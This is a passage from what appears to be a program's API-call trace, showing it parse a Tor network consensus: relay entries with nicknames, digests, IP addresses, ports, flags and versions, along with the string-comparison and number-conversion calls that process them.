Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HS", _SubStr="\nr ") returned="\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir" [0119.869] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.869] memchr (_Buf=0x39410a7, _Val=10, _MaxCount=0x122) returned 0x3941100 [0119.869] strncmp (_Str1="m eebCg4Ikv", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.869] strncmp (_Str1="s Running S", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.869] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.869] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.869] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.869] htonl (hostlong=0x23c4f69b) returned 0x9bf6c423 [0119.869] htonl (hostlong=0x9bf6c423) returned 0x23c4f69b [0119.869] _errno () returned 0x9f07d8 [0119.869] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.869] _errno () returned 0x9f07d8 [0119.869] _errno () returned 0x9f07d8 [0119.869] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.869] _errno () returned 0x9f07d8 [0119.869] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.869] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.869] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.869] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.869] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.869] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.869] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.869] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.869] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.869] strcmp (_Str1="V2Dir", _Str2="Running") returned 1 [0119.869] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.869] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.870] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.870] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.870] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.870] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.870] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.870] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.870] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.870] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.870] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.870] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.870] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.870] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.870] strlen (_Str="Tor ") returned 0x4 [0119.870] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.870] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.870] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.870] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.870] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.870] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.870] strlen (_Str="(git-") returned 0x5 [0119.870] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.870] strlen (_Str="Tor ") returned 0x4 [0119.870] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.870] strlen (_Str="(r") returned 0x2 [0119.870] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.870] strlen (_Str="(git-") returned 0x5 [0119.870] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.870] strtol (in: _Str="0.3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.10") returned 0 [0119.870] strtol (in: _Str="3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.10") returned 3 [0119.870] strtol (in: _Str="0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".10") returned 0 [0119.870] strtol (in: _Str="10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 10 [0119.870] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.870] strlen (_Str="(git-") returned 0x5 [0119.870] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.870] strlen (_Str="Bandwidth=") returned 0xa [0119.870] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.870] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.870] strstr (_Str="r metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 